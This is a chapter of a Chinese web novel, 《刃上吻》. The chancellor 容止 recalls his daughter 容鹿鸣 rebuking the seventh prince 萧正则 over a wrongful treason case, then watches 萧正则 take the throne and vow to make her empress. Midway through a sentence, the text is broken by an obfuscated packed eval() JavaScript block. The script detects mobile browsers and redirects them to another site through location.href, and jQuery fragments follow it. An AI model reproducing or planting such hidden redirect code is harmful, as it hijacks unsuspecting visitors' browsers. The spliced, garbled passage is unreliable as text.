110. 殊途同归(二)
作品:《刃上吻》 容鹿鸣与太子,本可成就一段君臣佳话,就像自己和先皇那般,容止默想。谁曾想……太子是有些身弱,可竟突地薨逝了。
那个天地崩塌的时刻,容止才蓦地发现,自家小女身旁,竟一直跟着个七皇子!
容鹿鸣与太子是同一种人,手腕、城府,德行、理政,他们极容易受人膺服。而多年以来,七皇子萧正则一直跟在容鹿鸣身旁,受她教养,行事与涵养皆与她相似。彼时放眼诸位皇子:流连平康坊的、缠绵病榻的、修仙问道的、沉迷弈棋的、不学无术的、有心无才的……竟只有七皇子萧正则,看似最为合适。
是巧合吗?容止曾数次看向小女,难道她是早早觉察了什么,所以特意培养了这位七皇子?
而其中又有些不同。当年萧正则入大理寺理政,容止就对他颇多关注,毕竟是自家小女的爱徒。有手腕,善断事,只是,过于狠辣了些。
曾有一次,在自家月柏轩的小书斋里,容止见过小女训诫萧正则。
京中点心坊饴云斋久负盛名,每月出的新品,都刚好可以打个点心匣子。
容止亲自提着刚刚装好的温热点心,拿来月柏轩给女儿品尝。
女儿的贴身侍女美盼守在书斋外,书斋之内有外人!他示意美盼悄声退下,自己站到了门边。
先是闻到一阵熟悉的甜香,有人先于他,给容鹿鸣送来了最新的饴云斋点心匣。
“老师。”那人声音里含了笑意。容止立即知道是谁了。虽听长子容雅歌提过,七皇子不时会入相府月柏轩寻他师父容鹿鸣,当然也笑着说起过翻墙之事,只是,这师徒二人已这般亲密了吗?容止不禁皱眉。
轻微的响动,甜香愈浓,萧正则打开点心匣子,取了块儿松仁乳酥,递给容鹿鸣。
“跪下。”却听容鹿鸣说,声音不大。
容止惊诧不小,萧正则那时在京中已是声名鹊起,除却陛下,谁敢叫他跪!
却见萧正则合上匣子,竟真的跪下了!
听得容鹿鸣问他:“城郊的乱子,你预备怎么审?”
城郊两个村子,因着田产的纠纷,已数年不合,近日里,又借着跳大神,以“佛母”的名号聚众闹事。牵涉之人,已被悉数缉拿,压在大理寺牢房内。
萧正则闻言,不答反问:“老师是听说什么了吗?”
容鹿鸣看着他,眼神是冷的。那日缉拿人犯时,她刚巧在现场。穿着粗布长袍,带着个半新不旧的幞头,还贴了两撇小胡子,不想被人认出。
京中故旧太多,她虽不以为亲近,旁人却不这样想。即便乘了马车,相府的马车谁不认得?没行两步,便能遇着数位师兄、师弟、师侄,再不就是上朝时仅打过几个照面的某某侍郎、某某侍郎的家眷……她只想背着画箱,去南山画几幅画儿,最多带上萧正则,连贴身侍女巧笑、美盼都叫她撂在家里。
她索性变了装,自相府角门溜出来,大摇大摆地去南山画画。人还没走到山脚下,就看见不良人又在锁拿村民。她返京不过两日,对这事有所耳闻。看这架势,她心里掠过一丝阴翳。
转头,看见萧正则朝这儿走来,身边还跟着大理寺少卿。这事,恐怕要闹大,说不定,还要做了某些人的“政绩”。
她连忙垂下头,隐匿在人群中。第二日,她差容小虎去打听,说是京兆府少尹认定村民皆是意图谋逆,现羁押大理寺监牢,交由萧正则审讯。
关于萧正则在大理寺的事,容鹿鸣听过一些传闻,她只愿意把它们当做传闻。而萧正则到底会如何做呢?
午后,容小虎回府复命,说七皇子用了刑。
“同他说,明日辰时,我在小书斋等他。”
“是。”容小虎领了命。
萧正则来时薰了白檀香,犹遮不住隐约的血腥气。他带了容鹿鸣最喜欢的点心匣子,她却一眼都不想看他。由他跪在自己面前,跪了盏茶的功夫。
“我为何让你跪着?”
萧正则想硬气地说一句“不知”,到底舍不得,容鹿鸣气极了会心口疼。
“因为城郊的谋逆案?”萧正则答。
“那是谋逆吗?”
“怎么不是,借着‘佛母’的名号起事、械斗。”
容鹿鸣真想指着他鼻子骂他。
“萧正则,你可细看了案卷?”
“京兆府少尹需要一桩出众的政绩。”
“你要与他同流合污?”
“我若翻案,都察院的御史们,恐怕会上书弹劾,说我包庇谋反……”
初初步入政局,萧正则的表现颇为亮眼,难免遭人妒忌,倘以此事做文章,确实会于他不利。
“到底,也不能叫无辜之人蒙冤呐。”容鹿鸣叹气,怒意去了一半,一手重重压在萧正则肩上。民为贵,社稷次之,君为轻,若草菅人命,不怀仁德,民心忧惧,必生变乱。除此以外,阿则,众生皆苦,何不多些悲悯?”
她抬起他清峻的脸,看进他眼里。
“我不是不担心你会卷入其中……你且细细检阅本案所有案卷,寻出不实之处,详实记录,上达天听。也叫陛下瞧瞧,那些意图攀扯你的人,是何居心。”
“真的可以如此?”
“当然,所谓和光同尘,有些人可以,有些人,则断然不可。”
默了片刻,萧正则温顺地把头枕在容鹿鸣膝上,说了句:“好。”
“那你快去。晡食,我做胡饼,叫小虎给你送去大理寺。”容鹿鸣抚了抚他发鬓。
“恩。”
“等等”,她从点心匣子里取出两块松仁乳酥,她最爱吃这个、萧正则也是,用空白的信笺裹好,递给他,“案卷看累了,就吃一点。”
萧正则展颜,将纸包揣进怀里。
其后,萧正则屡呈奏折,顶着包庇谋反的压力,将株连百余人的“谋逆”改判为械斗罪。
当年这事,若非容止亲眼所见,决然不会相信。那人可萧正则,后来,朝中人人闻之胆寒的七王爷。
现今,他大权在握,骨子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818493|171898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里藏得很深的那种狠厉,愈发透出来。若要重整朝局,这种狠厉必不可少。但若少了节制……王座之上,那位少年天子面上犹带着笑,闻到血的味道,他意犹未尽。
谁能节制于他?权谋手段,他已然玩得很纯熟了。
容家数代为相,政变、阴谋、战争、杀戮,都经历太多。百年屹立不倒,旁人称之为权术。
不同于余下九卿的战战兢兢,容止气定神闲,偶尔拢唇一咳,示意新君,他并非装病。
他不预备于今晚的朝会之上说些“长幼有序”的屁话。太子已去,萧正则为新君。他相信女儿的眼光。只是,内心煎熬,新君圣旨未下,女儿便还只是七王妃,他要不要为女儿求一纸和离,好叫她脱离这漩涡?
他还未及开口,又有一人自文官队伍出列,竟是林如柏。
“陛下,容少将尚在南境,战场险恶,万一……”他言辞恳切,令容止不禁揣度,这人是仍念旧情,还是要做宋家的说客?
自太子薨逝后,端看政局这盘棋,容止改变了落子的位置。他在默默布局,容家要隐忍退缩,新朝的皇后,当是宋家之人,宋淑离最为妥当。
这样,既可让容鹿鸣脱身,又可以扯住宋家,以待日后,将他们从那个位置拽下来。
可是,这话不该由林如柏说,论迹不论心,林家为了扳倒容止,太急迫了些。
这便是世家和寒门的区别。世家历经百年,有沉淀、懂收敛,知道静候时机。而林家,只一味冲撞,若一把快刀。
君王手中的快刀,到了最后,焉有不折的?
容止最不想听到的话,还是由新君说了出来,说得斩钉截铁。
萧正则一字一句道:“容鹿鸣若是死了,我就把她的牌位放在后位之上。朕此生,唯此一位皇后。”
容止心中苦涩。他想到书斋之内,挂着的那幅地藏菩萨像。
他不住地责怪自己,是自己的罪愆,没有早些觉察萧正则的用心,叫容鹿鸣牵扯进了他的因果。
君无戏言。萧正则话里缠绕着的执念,令容止心惊。又想起小书斋内,萧正则曾温顺地跪在容鹿鸣膝前……他不敢过多揣测,只恐君王执念太深。
看着王座之上,萧正则笃定的模样,反驳他的大臣业已伏诛。容止确定,自家小女就在新君手上。
新君不会伤害她。纵使她曾与他决裂,他百般挽回未果,直接用计强娶了她。
她也许是这世上,唯一可以牵绊新君之人了。
容止一个恍神,险些跌坐于玉阶之下。昙现稳稳扶住了他。
“赐座”,萧正则居高临下,“容相的身体,恐怕尚未大好。”
容止谢了恩,有意显出颤颤巍巍的样子,心里却真是一阵一阵地发寒。
皇后那个位置,本应是宋家女的。宋家背地里做下的那些勾当,他与先帝皆知。由此殉了他宋家,不算冤枉。
而新君不改其志,皇后必是容鹿鸣了。容止默默地想,只怕,他日不得不废后。

